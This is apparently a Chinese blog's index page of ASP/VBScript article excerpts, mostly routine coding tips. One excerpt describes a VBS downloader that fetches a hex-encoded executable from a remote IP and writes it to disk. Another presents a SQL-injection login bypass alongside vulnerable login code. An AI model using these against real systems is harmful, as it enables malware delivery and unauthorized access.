asp/vbscript dim数组下标为变量

评论(0)浏览(126)分类：Asp/VBScript
asp/vbscript dim数组下标为变量　　asp/vbscript dim定义数组时，如果下标为变量，会提示“缺少整形参数”的错误。如下+展开-VBScriptidx=1dima(idx)　　这时需要先定义一个没有下标的数组或者直接是Variant类型的变量，然后再用redim来定义下标为变量的参数就没有问题了。+展开-VBScriptidx=1dima'或者a()redima(idx)

WScript.Shell

评论(0)浏览(126)分类：Asp/VBScript
WScript.ShellWshShell 对象 ProgID Wscript.Shell 文件名 WSHom.Ocx CLSID F935DC22-1CF0-11d0-ADB9-00C04FD58A0B IID F935DC21-1CF0-11d0-ADB9-00C04FD58A0B 下表说明和 WshShell 对象有关的属性。 属性 说明 Environment 返回 WshEnvironment 集合对象。 SpecialFolders 使用 WshSpecialFolders 对象提供对 Windows shell 文件夹的访问，如桌面文件夹，开始..

asp检查ip地址是否为内网/私有ip地址

评论(0)浏览(126)分类：Asp/VBScript
asp检查ip地址是否为内网/私有ip地址　　asp检查ip地址是否为私有/内网ip地址源代码。内网/私有IP地址网段如下，还有127开头的回环地址10.0.0.0-10.255.255.255172.16.0.0172.31.255.255192.168.0.0-192.168.255.255%function IpToNumber(ip)'IP地址转为数字 arr=split(ip,.) IpToNumber=256*256*256*clng(arr(0))+256*256*clng(arr(1))+256*clng(arr(2))+clng(arr(3))end fu..

ASP操作Word的权限配置

评论(0)浏览(125)分类：Asp/VBScript
ASP操作Word的权限配置 以下只是一个成功案例，具体操作中，可以适当调整用户的权限。以Windows2000为例，Windows XP也差不太多。 在Windows 2000下　共五步操作1、保证目录下的WordFiles目录的权限如下。2、“开始”－“运行” 输入regsvr32 scrrun.dll按“确定”。出现再次点击“开始”－“运行”，输入“dcomcnfg”３、选中Microsoft Word 文档４、对“分布式COM配置..

vbscript ascw返回负数解决办法

评论(0)浏览(125)分类：Asp/VBScript
vbscript ascw返回负数解决办法　　MSDN文档对AscW的解释：AscW是为使用Unicode字符的32位平台提供的。它返回Unicode（宽型）字符代码，因此可以避免从ANSI到Unicode的代码转换。　　按照参考手册的定义，AscW函数应该返回一个字符的Unicode字符编码，但是对某些汉字来说，得到的返回值是负数的。如过字的Unicode编码是36807，但是测试的时候得到-28729。测试代码如下script l..

ISAPI Rewrite实现IIS图片防盗链

评论(0)浏览(125)分类：Asp/VBScript
ISAPI Rewrite实现IIS图片防盗链　　为了实现图片防盗链，根据网络上搜集的资料加上自己的实践，终于实现了iis下的图片防盗链功能。　　实施步骤：　　1.下载比较出名的www.helicontech.com提供的ISAPI Rewrite软件的免费版本(免费版本虽然有一些功能上的限制，但是做防盗链足够了)：　　http://www.isapirewrite.com/download/isapi_rwl_x86_0072.msi　　2.设置软件安装目录的..

asp/asp.net获取图片尺寸

评论(0)浏览(124)分类：Asp/VBScript
asp/asp.net获取图片尺寸　　asp/asp.net获取图片尺寸，asp/asp.net获取图片的长和宽Asp.Net版本+展开-C#System.Drawing.ImageimgPhoto=System.Drawing.Image.FromFile("图片完整路径名");intw=imgPhoto.Width,h=imgPhoto.Height;Response.Write("长："+w.ToString()+"br/>宽："+h.ToString());Asp版本，来源：CSDN.NET+展开-VBScriptClassImgWHInfo'获取图片宽度和高度..

用Word对象实现图文混合排版打印

评论(0)浏览(124)分类：Asp/VBScript
用Word对象实现图文混合排版打印 在多媒体信息处理应用软件开发过程中，经常会遇到图文混合排版打印输出（即将文字、表格、图片等信息放在一起的打印）。若通过报表或程序直接实现，打印样式往往缺乏灵活性，从而难于满足不同用户的需要。本文通过word应用程序对象实现图文混合排版打印，其方法是：在程序中先将要打印的信息按一定格式输出到一个word文档中，再自动调入word文字..

VB使用WebBrowser读取网页内容

评论(0)浏览(124)分类：Asp/VBScript
VB使用WebBrowser读取网页内容+展开-VBScript'得到当前browser的页面字体内容PublicFunctiongetWebContent()FunctiongetWebContent(browserAsWebBrowser)AsStringDimdocAsObjectDimiAsObjectDimstrHtmlAsStringSetdoc=browser.DocumentForEachiIndoc.AllstrHtml=strHtml&Chr(13)&i.innerTextNextgetWebContent=strHtmlEndFunction上面这个函数可以得到browser中所有文字信息...

asp非重复关键字替换

评论(0)浏览(124)分类：Asp/VBScript
asp非重复关键字替换function AddToDic(reg,key,Index,str,dic) pattern=[^]*key[^]*|a[^]*[^]*key[^]*\/a reg.Pattern=pattern set matches=reg.Execute(str) for each m in matches dic.Add keyIndex,m.value str=replace(str,m.value,$keyIndex$) Index=Index+1 next set matches=nothingend functionfunction startReplace(str) dim TempStr..

vbscript实现正则替换参数为函数

评论(0)浏览(124)分类：Asp/VBScript
vbscript实现正则替换参数为函数　　vbscript如何使用正则替换，替换参数为函数，可以处理分组中的数据后再返回需要的数据。　　javascript的正则替换被替换内容可以为参数，但是vbscript的正则替换没有这种功能，替换成的内容只能为字符串，不能为一个返回字符串的函数。　　下面是一个老外写的vbscript实现的替换成的内容可以为一个回调函数博文，原文如下来源：http://gotoc..

asp抓阄随机分配号码源代码

评论(0)浏览(123)分类：Asp/VBScript
asp抓阄随机分配号码源代码　　asp抓阄随机分配号码，vbscript随机分配某个数组内的项，得到不重复的循序号。运行本代码需要使用IE浏览器script language=vbscript charset=utf-8Function rndint(byval MinNum,byval MaxNum)'asp生成整数之间的随机数函数 dim tmp if MaxNumMinNum then'交换大小值，防止传递时大小搞反 tmp=MinNum:MinNum=MaxNum:MaxNum=tmp..

VBScript混用与runat=server时脚本语言的执行优先级

评论(0)浏览(123)分类：Asp/VBScript
VBScript混用与runat=server时脚本语言的执行优先级第一点，ASP中JavaScript和VBScript的混用问题。　　ASP中JavaScript和VBScript是可以混用的，下面的代码可以说明，在JavaScript中使用的变量可以通过VBScript赋值之后，得到改变。+展开 -HTMLhtmlheadtitlePage1/titlescriptlanguage="JavaScript"alert("JavaScript");vara="JavaScript";alert(a);/scriptscriptlanguage="vbscript"a="vbscript..

vbscript使用IIS ADSI 提供程序配置IIS

评论(0)浏览(122)分类：Asp/VBScript
vbscript使用IIS ADSI 提供程序配置IIS　　IIS ADSI 提供程序参考部分介绍了仅由 IIS ADSI 提供程序提供的对象、方法和属性。任何使用 Actve Directory 服务界面 (ADSI) 的脚本或代码均需要使用一些基本 Windows ADSI 接口。Windows ADSI 接口包括频繁使用的方法和属性。例如，ADSI 对象 Get 和 Set 方法允许更改数据存储（例如，IIS 配置数据库）中的属性，然后 ADSI 对象 SetInfo 保..

ASP注入万能登陆密码

评论(0)浏览(122)分类：Asp/VBScript
ASP注入万能登陆密码oldjun提到一种新的万能登陆密码。比如网上有很多这样的登陆验证代码： 　　程序代码 　　+展开-HTML%　　username=trim(Request.Form("username"))　　password=trim(Request.Form("password"))　　sql="Select*FROMadminWhereuser='"&username&"'"　　Setrs=Server.CreateObject("adodb.recordset")　　rs.Opensql,conn,1,1　　ifrs.eofthen　..

C#、Vb.Net获取Excel单元格背景色示例

评论(0)浏览(121)分类：Asp.Net/C#/WCF
C#、Vb.Net获取Excel单元格背景色示例C#、Vb.Net获取Excel单元格背景色示例，运行电脑需要安装过office，同时在项目中引用com类型库microsoft excel 版本号 object Libray ，如下图。主要是通过获取Range.Interior.Color，而不是Ceil.Style.Interior.Color。C#获取Excel单元格背景色示例如下using System;namespace ConsoleApp1{ class Program { public static string..

Scripting.FileSystemObject对象详细介绍

评论(0)浏览(120)分类：Asp/VBScript
Scripting.FileSystemObject对象详细介绍　　在代码内操作文本文件、文件夹及驱动器。它是脚本运行期库提供的对象之一，对于服务器ASP页面内的VBScript和JScript都有效。如果页面的扩展名为.hta（表示它们是HTA的一部分），它也可用在客户端的IE 5中。本节仅讨论在服务器上的ASP脚本如何使用FileSystemObject对象。 超级文本应用程序（HTA）由指定的“受信任的”页面组成，在页面..

VBS下载者

评论(0)浏览(119)分类：Asp/VBScript
VBS下载者使用方法：1.exe2hex.vbs 把exe转成十六进制，放到网络上2.down.vbs http://xxx/demo.htm c:\good.exedemo.htm内容时用exe2hex.vbs转EXE后获得的+展开-VBScriptonerrorresumenextsetarg=wscript.argumentsifarg.count=0thenwscript.quit'codebyNetPatch'cscriptdown.vbshttp://122.136.32.55/demo.htmc:\good.exeSetMail1=CreateObject("CDO.Mes..

ASP实例教程：Form集合

评论(0)浏览(118)分类：Asp/VBScript
ASP实例教程：Form集合Form集合注意因为本ASP实例教程是关于表单的代码，为了省事，所以我不截图了！大家自行测试实例执行结果！一个Form集合的简单应用 本例演示Form集合如何从表单取回值。此表单使用POST方法，这意味着发送的信息对用户来说是不可见的，并且对对所发送信息的量没有限制（可发送大量的信息）。 本示例代码如下：以下为引用的内容：htmlbodyform acti..

asp读写文件示例

评论(0)浏览(118)分类：Asp/VBScript
asp读写文件示例　　asp读出文件放入表单的textarea容器中，修改后写回原文件中。注意如果文件编码不是系统默认的ansi，调用opentextfile方法时加上编码。参考Scripting.FileSystemObject的OpenTextFile方法参数说明asp检测文件编码asp读写文件示例源代码%set fso=server.CreateObject(scripting.filesystemobject) if request.querystring(action)=update then..

vb数学函数

评论(0)浏览(117)分类：Asp/VBScript
vb数学函数1.Abs 函数返回数字的绝对值。Abs(number)number 参数可以是任意有效的数值表达式。如果 number 包含 Null，则返回 Null；如果是未初始化变量，则返回 0。说明数字的绝对值是其无符号的数值大小。例如，Abs(-1) 和 Abs(1) 都返回 1。下面示例利用 Abs 函数计算数字的绝对值： Dim MyNumberMyNumber = Abs(50.3 ) '返回 50.3。MyNumber = Abs(-50..

ASP采用Jmail发送普通附件和嵌入附件

评论(0)浏览(117)分类：Asp/VBScript
ASP采用Jmail发送普通附件和嵌入附件ASP采用Jmail发送普通附件和嵌入附件（参考w3JMail官方例程）呼呼，总算搞定了，花了好几天时间啊_网上很多关于JMail发送邮件的例子都没有写如何发附件，或者没有写清如何发内嵌的附件（比如把附件图片嵌入到HTML信件里面）郁闷到极的时候终于“柳暗花明”，噢yeah~~！！！其实最关键的就是这句要注释掉'JMail.ContentType = "text/html"(为什么..

asp redim preserve示例

评论(0)浏览(116)分类：Asp/VBScript
asp redim preserve示例asp中REDIM的功能是动态定义数组长度　　动态数组里面的一个语句，只能出现在过程里面，可以多次使用。可以改变数组大小，和维数格式：REDIM [Preserve] 数组名（下标1[下标2....]）Preserve 保留动态数组的内容（不用的话，每次执行REDIM语句，当前存储的语句会全部丢失）例如：Dim DynArray() '定义数组DynArray()为动态数组REDIM Preserv..

asp无组件生成缩略图[非生成文件]

评论(0)浏览(116)分类：Asp/VBScript
asp无组件生成缩略图[非生成文件]　　网上有不少生成缩略图的ASP组件，如aspjpeg，若你的虚拟空间不支持注册新组件，可能会感觉自己的网站失色不少。心晴不才，结合网上资源写了个无组件生成缩略图程序，仅供参考。　　还是先看看基础部分吧。首先，我们知道在页面中显示图片是如下代码：　　img src=pic.gif border=0 width=300 height=260　　src是图片路径，border控制图片边..

ASP实例教程：FileSystemObject对象

评论(0)浏览(115)分类：Asp/VBScript
ASP实例教程：FileSystemObject对象FileSystemObject 对象指定的文件存在吗？ 本例演示如何首先创建FileSystemObject对象，然后使用FileExists方法来探测某文件是否存在。 本示例代码如下：以下为引用的内容：htmlbody%Set fs=Server.CreateObject("Scripting.FileSystemObject")If (fs.FileExists("c:\windows\cursors\xxx.cur"))=true Then Response.Write("文件 c:\windows\cur..

Active Server Pages 错误 'ASP 0201' 无效的默认脚本语言

评论(0)浏览(115)分类：Asp/VBScript
Active Server Pages 错误 'ASP 0201' 无效的默认脚本语言运行asp程序时出现如下错误Active Server Pages 错误 'ASP 0201'无效的默认脚本语言为此应用程序指定的默认脚本语言无效。系统：windows 2003 IIS6 NTFS文件系统解决方法1：把IUSR_用户名，这个用户加入到Administrators管理组，重启iis后，正常。此方法安全性不高。解决方法2：修改注册表项的权限。这个强烈建议你先备份你的注册表，要不出问题..

asp提交复选框checkbox值出现空白

评论(0)浏览(115)分类：Asp/VBScript
asp提交复选框checkbox值出现空白　　描述：表单中出现复选框checkbox时，如果勾选了多个复选框，在提交表单时，当动态语言为asp，vbscript时，不管是get还是post提交，得到的值会逗号分隔前面有一个空白符号。其他语言如asp.net-C#，php没有这种问题。　　以前早就发现了这个问题，不知道是asp的bug还是什么其他的问题。在2台电脑上测试了下，系统为2003和windows7，得到的结果..

ISAPI_Rewrite使用说明

评论(0)浏览(114)分类：Asp/VBScript
ISAPI_Rewrite使用说明配置：在NT 2000 XP和2003平台上。INI文件的文件夹的可写权限，这将允许产生HTTP。PARSE。ERRORS文件，这些文件包含配置文件语法错误。对于PROXY模块也需要额外的权限，因为它将运行于连接池或HIGH-ISPLATED应用模式，IIS帐户共享池和HIGH-ISOLATION池应被给予 对RWHELPERE。DLL的可读权限。缺省情况下IWAM-《计算机名》被用于所有的池，在相应的..

asp执行带参数sql语句

评论(0)浏览(114)分类：Asp/VBScript
asp执行带参数sql语句　　asp执行带参数的sql语句，需要向sql语句添加参数，源代码如下var conn = Server.CreateObject(ADODB.Connection);conn.ConnectionString = Provider=Microsoft.Jet.OLEDB.4.0;Data Source= + Server.MapPath(Test.mdb);conn.Open();var cmd = Server.CreateObject(ADODB.Command);cmd.ActiveConnection = conn;cmd.CommandType = 1;cmd.Comm..

解决macfee麦咖啡导致asp请求的资源正在使用中的办法

评论(0)浏览(113)分类：操作系统及应用软件
解决macfee麦咖啡导致asp请求的资源正在使用中的办法　　原本系统运行asp没有出现过请求的资源正在使用中的问题，但是自从安装了macfee麦咖啡企业版8.5i以后，在访问asp页面时就频繁出现请求的资源正在使用中错误，郁闷。　　网上找了下说是macfee麦咖啡导致的VBScript.dll和jscript.dll动态库出错，只能通过重新注册这2个动态库才行。将下面的代码保存为regscript.bat文件，双击运行进行注册。@ec..